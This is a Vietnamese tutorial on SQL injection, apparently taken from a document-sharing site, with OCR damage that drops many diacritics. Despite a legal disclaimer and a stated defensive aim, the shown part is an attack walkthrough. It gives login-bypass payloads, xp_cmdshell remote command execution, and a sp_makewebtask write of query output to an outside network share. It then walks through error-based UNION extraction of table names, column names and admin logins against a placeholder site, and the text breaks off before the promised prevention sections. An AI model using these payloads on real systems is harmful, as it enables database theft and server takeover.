DANH MỤC TÀI LIỆU
Tìm hiểu về SQL Injection và cách phòng chống
Tìm hiu v SQL Injection và cách phòng chng
SQL Injection không còn là khái nim quá mới, nhưng vẫn là mt trong
những kiểu tấn công mng khá ph biến. Bài viết này gm 12 mc, đi từ khái
nim, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được
dùng làm d ch là minh họa, không có thực) đến cách phòng chng tấn ng
SQL Injection đ bạn đc hiểu vcách thức tấn công này, từ đó có những biện
pháp phòng ngừa, bo vệ website và hệ thng ca mình.
Lưu ý: Không thtn công website, hệ thng ca cá nn, tổ chức khác bng
phương pháp y, mọi hành vi n vậy đu là vi phạm pháp lut Việt Nam. Nếu
bn tìm thấy l hng bo mật, hãy báo cho người quản tr website, h thng đó đ
h khc phục. Bài viết ch nhm mc đích giúp bn hiểu về kiểu tấn công và
những biện pháp phòng tránh cho ứng dng web ca mình.
Tìm hiểu v SQL Injection
1. SQL Injection gì?
SQL Injection là một trong những kiểu hack web bng cách inject các
SQLquery/command vào input trước khi chuyển cho ứng dng web x lí, bạn
có th login mà không cn username và password, remote execution (thc thi t
xa), dump data và lấy root ca SQL server. Công c dùng đ tấn công là mt trình
duyệt web bt kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...
i labs SQL Injection
Bn có th hình dung toàn bộ quá tnh tấn ng bng SQL Injection thông qua
mt bài labs v SQL injection đơn gin dưới đây. Bài lab s đưa ra d về mt
ứng dng có l hng đ sdng SQL Injection, bn ch cần làm theo các bước
trong hướng dn đ tiến hành kiểu tấn ng này.
Sau khi thực hiện bài labs, bạn đã có những nh dung cơ bản về SQL Injection,
nng nếu mun hiu và chi tiết hơn, bny đc những phânch c thtiếp
theo nhé.
2. c bưc tiến hành SQL Injection
2.1. Tìm kiếm mc tiêu
thtìm các trang web cho phép submit dữ liu bt kì mt trìnhm kiếm nào
trên mng, chẳng hạn như các trang login, search, feedback, ...
dụ:
http://yoursite.com/index.asp?id=10
Mt s trang web chuyển tham s qua các field n, phải xem mã HTML mới thấy
rõ. Ví dụ n ở dưới.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
2.2. Kiểm tra ch yếu của trang web
Thử submit các field username, password hoặc field id, .. bng hi' or 1=1--
Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyn tham squa field n, hãy download source HTML, lưu trên đĩa
cng và thay đi li URL cho phù hợp. Ví d:
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
Nếu thành công, thì có th login vào mà không cn phải biết username và
password
2.3. Tại sao ' or 1=1-- th vưt qua phn kim tra đăng nhp?
Gi snhư có mt trang ASP liên kết đến mt ASP trang khác với URL như sau:
http://yoursite.com/index.asp?category=food
Trong URL trên, biến 'category' được gán giá tr là 'food'. Mã ASP của trang y
có th như sau (đây ch là ví d thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat schứa giá tr của biến request("category") là 'food' câu lnh SQL tiếp
theo s là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên str về mt tập resultset chứa mt hoc nhiều dòng phù hợp với
điu kin WHERE PCategory='food'
Nếu thay đi URL tn thành http://yoursite.com/index.asp?category=food' or 1=1-
-, biến v_cat sẽ chứa giá tr "food' or 1=1-- " và dòng lệnh SQL query s là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sselect mi thtrong bảng product bt chp giá trị ca trường
PCategory có bng 'food' hay không. Hai du gch ngang (--) ch cho MS SQL
server biết đã hết dòng query, mi th còn li sau "--" sb b qua. Đi với
MySQL, hãy thay "--" thành "#"
Ngoài ra, cũng có th thử cách khác bng cách submit ' or 'a'='a. Dòng SQL query
bây gisẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Mt s loại d liu kc mà cũng nên thử submit đ biết xem trang web có gặp li
hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
2.4. Thi hành lệnh từ xa bng SQL Injection
Nếu cài đt với chế đ mc đnh mà không điều chnh , MS SQL Server s
chạy mc SYSTEM, tương đương với mức truy cập Administrator trên
Windows. th dùng store procedure xp_cmdshell trong CSDL master đ thi
hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng du ny đôi (") nếu du nháy đơn (') không làm vic.
Du chấm phẩy (s kết thúc dòng SQL query hin tại và cho phép thi hành một
SQL command mới. Đ kim tra xem lnh tn có được thi hành hay không, có th
listen các ICMP packet từ 10.10.1.2 bng tcpdump như sau:
#tcpdump icmp
Nếu nhn được ping request từ 10.10.1.2 nghĩa là lnh đã được thi hành.
2.5. Nhận output ca SQL query
thdùng sp_makewebtask để ghi các output ca SQL query ra mt file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT *
FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" phi được share cho Everyone trước.
2.6. Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo li của MS SQL Server thường đưa cho bn những thông tin quan
trng. Lấy ví d ở trên http://yoursite.com/index.asp?id=10, bây gichúng ta th
hợp nht integer '10' với mt string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES--
Bng INFORMATION_SCHEMA.TABLES ca hệ thng SQL Server cha thông
tin v tất c các bảng (table) có trên server. Trường TABLE_NAME chan ca
mi bng trong CSDL. Chúng ta chọn nó bởi chúng ta biết rằng nó luôn tồn ti.
Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng queryy s trvn ca bng đu tiên trong CSDL
Khi cng ta kết hợp chui này với s integer 10 qua statement UNION, MS SQL
Server s cthử chuyển mt string (nvarchar) thành mt s integer. Điu y s
gặp li nếu n không chuyn được nvarchar sang int, server shin thông báo lỗi
sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá tr muốn chuyển sang integer nhưng không được,
"table1". Đây cũng chính là n của bng đu tiên trong CSDL mà chúng ta đang
mun có.
Để ly n ca tên ca bng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN
('table1')--
Cũng có ththm dliệu bng cách khác thông qua statement LIKE của câu
lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE
'%25login%25'--
Khi đó thông báo li của SQL Server có thlà:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như
thy trong thông báo li trên, chúng ta có th xác định được tên ca mt table quan
trng là "admin_login".
2.7. Xác đnh tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS cha n ca tất c các column
trong table. Có th khai thác n sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login'--
Khi đó thông báo li của SQL Server có thnhư sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đu tiên là "login_id". Để ly tên ca các column tiếp
theo, có th dùng mnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo li của SQL Server có thnhư sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự n trên, có thể lấy được n của các column còn lại như
"password", "details". Khi đó ta ly tên của các column y qua các thông báo lỗi
ca SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN
('login_id','login_name','password',details')--
Khi đó thông báo li của SQL Server có thnhư sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must
appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
2.8. Thu thp các dữ liệu quan trng
Chúng ta đã c đnh được các n của các table và column quan trng. Chúng ta
s thu thập các thông tin quan trng từ các table và column này.
thly login_name đầu tiên trong table "admin_login" n sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM
admin_login--
Khi đó thông báo li của SQL Server có thnhư sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
D dàng nhn ra được admin user đu tiên có login_name là "neo". Hãy thử ly
password ca "neo" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where login_name='neo'--
Khi đó thông báo li của SQL Server có thnhư sau:
thông tin tài liệu
SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ kháiniệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn côngSQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.
Mở rộng để xem thêm
từ khóa liên quan
xem nhiều trong tuần
yêu cầu tài liệu
Giúp bạn tìm tài liệu chưa có

LÝ THUYẾT TOÁN


×